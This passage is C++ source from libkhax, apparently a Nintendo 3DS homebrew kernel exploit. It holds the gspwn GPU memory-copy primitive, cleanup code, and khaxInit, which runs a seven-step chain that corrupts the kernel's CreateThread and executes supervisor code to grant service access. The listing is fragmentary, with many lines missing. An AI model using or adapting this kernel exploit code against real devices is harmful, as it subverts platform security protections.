866 // Helper for dumping memory to SD card.
\r
867 template <std::size_t S>
\r
868 bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const
\r
870 char formatted[32];
\r
871 snprintf(formatted, KHAX_lengthof(formatted), filename,
\r
872 static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?
\r
875 bool result = true;
\r
877 FILE *file = std::fopen(formatted, "wb");
\r
880 result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);
\r
891 //------------------------------------------------------------------------------------------------
\r
892 // Free memory and such.
\r
893 KHAX::MemChunkHax::~MemChunkHax()
\r
895 // Dump memory to SD card if that is enabled.
\r
896 #ifdef KHAX_DEBUG_DUMP_DATA
\r
897 if (m_nextStep > 6)
\r
899 DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");
\r
900 DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");
\r
901 DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");
\r
905 // If we're corrupted, we're dead.
\r
906 if (m_corrupted > 0)
\r
908 KHAX_printf("~:error while corrupt;freezing\n");
\r
911 svcSleepThread(s64(60) * 1000000000);
\r
915 // This function has to be careful not to crash trying to shut down after an aborted attempt.
\r
916 if (m_overwriteMemory)
\r
920 // Each page has a flag indicating that it is still allocated.
\r
921 for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)
\r
923 // Don't free a page unless it remains allocated.
\r
924 if (m_overwriteAllocated & (1u << x))
\r
926 Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,
\r
927 sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));
\r
928 KHAX_printf("free %u: %08lx\n", x, res);
\r
933 // Free the extra linear memory.
\r
936 linearFree(m_extraLinear);
\r
939 // s_instance better be us
\r
940 if (s_instance != this)
\r
942 KHAX_printf("~:s_instance is wrong\n");
\r
946 s_instance = nullptr;
\r
951 //------------------------------------------------------------------------------------------------
\r
956 //------------------------------------------------------------------------------------------------
\r
957 // Make an error code
\r
958 inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)
\r
960 return (level << 27) + (summary << 21) + (module << 10) + error;
\r
963 //------------------------------------------------------------------------------------------------
\r
964 // Check whether this system is a New 3DS.
\r
965 Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)
\r
967 // If the kernel version isn't already known by the caller, find out.
\r
968 u32 kernelVersion = kernelVersionAlreadyKnown;
\r
969 if (kernelVersion == 0)
\r
971 kernelVersion = osGetKernelVersion();
\r
974 // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.
\r
975 if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))
\r
977 // Check whether the system is a New 3DS. If this fails, abort, because being wrong would
\r
978 // crash the system.
\r
980 if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))
\r
986 // Use the result of APT_CheckNew3DS.
\r
987 *answer = isNew3DS != 0;
\r
991 // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.
\r
996 //------------------------------------------------------------------------------------------------
\r
997 // gspwn, meant for reading from or writing to freed buffers.
\r
998 Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)
\r
1000 // Attempt a flush of the source, but ignore the result, since we may have just been asked to
\r
1001 // read unmapped memory or something similar.
\r
1002 GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);
\r
1004 // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore
\r
1005 // errors, since it may be the destination that is an unmapped address.
\r
1006 GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);
\r
1008 // Copy that floppy.
\r
1009 if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,
\r
1010 static_cast<u32 *>(dest), 0, size, 8))
\r
1012 KHAX_printf("gspwn:copy fail:%08lx\n", result);
\r
1016 // Wait for the operation to finish.
\r
1025 //------------------------------------------------------------------------------------------------
\r
1026 // Given a pointer to a structure that is a member of another structure,
\r
1027 // return a pointer to the outer structure. Inspired by Windows macro.
\r
1028 template <typename Outer, typename Inner>
\r
1029 Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)
\r
1031 unsigned char *p = reinterpret_cast<unsigned char *>(member);
\r
1032 p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));
\r
1033 return reinterpret_cast<Outer *>(p);
\r
1036 //------------------------------------------------------------------------------------------------
\r
1037 // Main initialization function interface.
\r
1038 extern "C" Result khaxInit()
\r
1040 using namespace KHAX;
\r
1044 IsNew3DS(&isNew3DS, 0);
\r
1045 KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),
\r
1049 // Look up the current system's version in our table.
\r
1050 const VersionData *versionData = VersionData::GetForCurrentSystem();
\r
1053 KHAX_printf("khaxInit: Unknown kernel version\n");
\r
1054 return MakeError(27, 6, KHAX_MODULE, 39);
\r
1057 KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,
\r
1058 versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);
\r
1060 // Create the hack object.
\r
1061 MemChunkHax hax{ versionData };
\r
1063 // Run through the steps.
\r
1064 if (Result result = hax.Step1_Initialize())
\r
1066 KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);
\r
1069 if (Result result = hax.Step2_AllocateMemory())
\r
1071 KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);
\r
1074 if (Result result = hax.Step3_SurroundFree())
\r
1076 KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);
\r
1079 if (Result result = hax.Step4_VerifyExpectedLayout())
\r
1081 KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);
\r
1084 if (Result result = hax.Step5_CorruptCreateThread())
\r
1086 KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);
\r
1089 if (Result result = hax.Step6_ExecuteSVCCode())
\r
1091 KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);
\r
1094 if (Result result = hax.Step7_GrantServiceAccess())
\r
1096 KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);
\r
1100 KHAX_printf("khaxInit: done\n");
\r
1104 //------------------------------------------------------------------------------------------------
\r
1105 // Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything
\r
1106 // and frees all memory on the way out.
\r
1107 extern "C" Result khaxExit()
\r